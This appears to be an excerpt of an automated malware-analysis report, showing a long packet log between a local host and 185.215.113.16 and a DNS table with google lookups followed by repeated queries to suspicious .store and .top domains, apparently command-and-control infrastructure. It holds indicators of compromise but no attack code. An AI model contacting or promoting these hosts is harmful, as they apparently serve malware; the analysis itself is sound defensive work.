Nov 10, 2024 19:44:29.851802111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851818085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851830006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851835966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851845980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851854086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851867914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851872921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851881981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851886988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851895094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851908922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851916075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851933956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851943970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851963043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.851967096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851977110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.851984024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852003098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852009058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852015972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852027893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852041006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852050066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852060080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852072954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852077007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852086067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852094889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852113008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852118969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852125883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852148056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852153063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852164030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852173090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852184057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852191925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852201939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852211952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852221966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852229118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852247953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852253914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852263927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852278948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852286100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852294922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852303028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852308989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852322102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852330923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852339983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852353096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852370024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852375031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852387905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852397919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852406979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852416039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852425098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852433920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852446079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852452993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852467060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852473974 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852485895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852494955 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852504969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852514029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852543116 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852627039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852636099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852653027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852660894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852674007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852678061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852686882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852698088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852705956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852722883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852730989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852751970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852758884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852770090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852782011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852786064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852794886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852803946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852809906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852823019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852829933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852842093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.852849007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.852868080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.895872116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.895889997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.896022081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.896195889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.896205902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.896223068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.896245956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.896261930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930273056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930294991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930311918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930330038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930341005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930352926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930422068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930432081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930469990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930484056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930490017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930504084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930511951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930524111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930531025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930541039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930548906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930562973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930567980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930577993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930583954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930598021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930603981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930618048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930628061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930633068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930656910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930663109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930679083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930691004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930706024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930713892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930723906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930733919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930742025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930758953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930766106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930778027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930798054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930805922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930824041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930830956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930838108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930850983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930860996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930869102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930885077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930891991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930903912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930913925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930922031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.930938959 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.930951118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.962322950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962342024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962373018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962383032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962398052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962409973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962416887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.962469101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962481022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962496042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.962512970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.962579012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.964553118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.964574099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.964584112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.964596033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.964605093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.964612007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.964624882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.964639902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.964665890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.964982033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965004921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965013981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965025902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965044975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965060949 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965071917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965090990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965100050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965106964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965120077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965126038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965143919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965162039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965178013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965188980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965205908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965218067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965223074 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965241909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965255022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965264082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965272903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965292931 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965296984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965303898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965321064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965327978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965336084 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965353012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965368032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965847015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965893984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965918064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965925932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965950012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965955973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965967894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.965981960 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.965990067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966001987 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966006041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966012955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966018915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966038942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966161966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966186047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966196060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966221094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966237068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966260910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966269016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966284990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966295958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966304064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966316938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966329098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966336966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966348886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966376066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966526985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966574907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966593981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966603041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966620922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966634035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966639996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966655970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966664076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966674089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966692924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966715097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966732979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966754913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966775894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966785908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966794014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966805935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966814041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966821909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966834068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966845989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966850996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966861010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966871023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.966887951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.966901064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967097998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967200994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967211962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967220068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967240095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967256069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967309952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967324972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967336893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967349052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967363119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967375040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967385054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967395067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967403889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967411041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967423916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967433929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967442036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967451096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967461109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.967492104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967498064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.967688084 CET	80	49762	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 10, 2024 19:44:06.256546974 CET	192.168.2.4	1.1.1.1	0x54c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:44:06.256728888 CET	192.168.2.4	1.1.1.1	0xf015	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 10, 2024 19:44:09.746504068 CET	192.168.2.4	1.1.1.1	0x7a83	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:44:09.746634960 CET	192.168.2.4	1.1.1.1	0x63fd	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 10, 2024 19:44:10.749819040 CET	192.168.2.4	1.1.1.1	0x7cf3	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:44:10.749970913 CET	192.168.2.4	1.1.1.1	0x5a9d	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 10, 2024 19:45:18.443310022 CET	192.168.2.4	1.1.1.1	0xc197	Standard query (0)	home.fvteja5sb.top	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:18.443386078 CET	192.168.2.4	1.1.1.1	0x2721	Standard query (0)	home.fvteja5sb.top	28	IN (0x0001)	false
Nov 10, 2024 19:45:28.447181940 CET	192.168.2.4	1.1.1.1	0x2041	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.473982096 CET	192.168.2.4	1.1.1.1	0x4bf1	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.503443003 CET	192.168.2.4	1.1.1.1	0xdd3d	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.534148932 CET	192.168.2.4	1.1.1.1	0x8966	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.562931061 CET	192.168.2.4	1.1.1.1	0xad53	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.606475115 CET	192.168.2.4	1.1.1.1	0x2461	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:28.633224964 CET	192.168.2.4	1.1.1.1	0xd43d	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.764889002 CET	192.168.2.4	1.1.1.1	0x18ee	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.793958902 CET	192.168.2.4	1.1.1.1	0xbfa	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.824219942 CET	192.168.2.4	1.1.1.1	0x16d0	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.850872040 CET	192.168.2.4	1.1.1.1	0x1358	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.874895096 CET	192.168.2.4	1.1.1.1	0xe913	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:45:42.898536921 CET	192.168.2.4	1.1.1.1	0xca89	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.144488096 CET	192.168.2.4	1.1.1.1	0xeb03	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.180670023 CET	192.168.2.4	1.1.1.1	0xc00f	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.218904018 CET	192.168.2.4	1.1.1.1	0xb5d	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.244421005 CET	192.168.2.4	1.1.1.1	0x5177	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.273093939 CET	192.168.2.4	1.1.1.1	0x1c0a	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:00.300906897 CET	192.168.2.4	1.1.1.1	0xefc3	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 10, 2024 19:46:07.346175909 CET	192.168.2.4	1.1.1.1	0x5f93	Standard query (0)	fvteja5sb.top	A (IP address)	IN (0x0001)	false
